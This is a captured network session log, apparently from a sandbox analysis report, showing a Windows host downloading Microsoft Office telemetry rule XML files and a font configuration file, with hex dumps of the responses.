2024-11-20 17:57:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:30 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 947c7cf8-001e-00a2-018c-3ad4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175730Z-185f5d8b95cwtv72hC1NYC141w0000000ak0000000005mb9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:30 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:30 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:30 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 107b228c-c01e-00a2-1f8c-3a2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175730Z-1777c6cb754n67brhC1TEBcp9c0000000a0g00000000bpfm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:30 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:32 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:32 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: be70ec4e-301e-000c-088c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175732Z-185f5d8b95crwqd8hC1NYCps680000000ang000000004vgv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:32 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	49769	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:32 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-20 17:57:32 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=254890 Date: Wed, 20 Nov 2024 17:57:32 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-20 17:57:32 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:32 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:32 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 7f65af6f-801e-0067-5f8c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175732Z-1777c6cb754whff4hC1TEBcd6c00000008k000000000epbz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:32 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:32 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:32 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: f65efca2-801e-0035-4104-3b752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175732Z-r1d97b99577sdxndhC1TEBec5n00000009dg000000000t5z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:32 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:32 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:32 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 657669b3-a01e-0002-118c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175732Z-185f5d8b95c4vwv8hC1NYCy4v40000000amg000000010auf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:32 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:32 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:32 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 65766a7e-a01e-0002-4f8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175732Z-185f5d8b95cgrrn8hC1NYCgwh40000000agg000000003cys x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:32 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:34 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:34 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65766a9d-a01e-0002-6d8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175734Z-r1d97b995774n5h6hC1TEBvf8400000009800000000045s5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:35 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:34 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:35 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: dde05796-f01e-0003-6d0e-3b4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175735Z-r1d97b99577mrt4rhC1TEBftkc000000091g00000000kbb6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:35 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:35 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:35 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 538c974f-101e-0028-648c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175735Z-185f5d8b95cp7lkfhC1NYC7rpw0000000an000000000zttk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:35 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:35 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:35 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:35 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 20caaba8-701e-005c-0363-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175735Z-185f5d8b95cdcwrthC1NYCy5b80000000ap0000000000z3z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 17:57:35 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:35 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:35 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: f14fa7ac-201e-000c-4a8c-3a79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175735Z-1777c6cb754j8gqphC1TEB5bf800000009x00000000077yg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
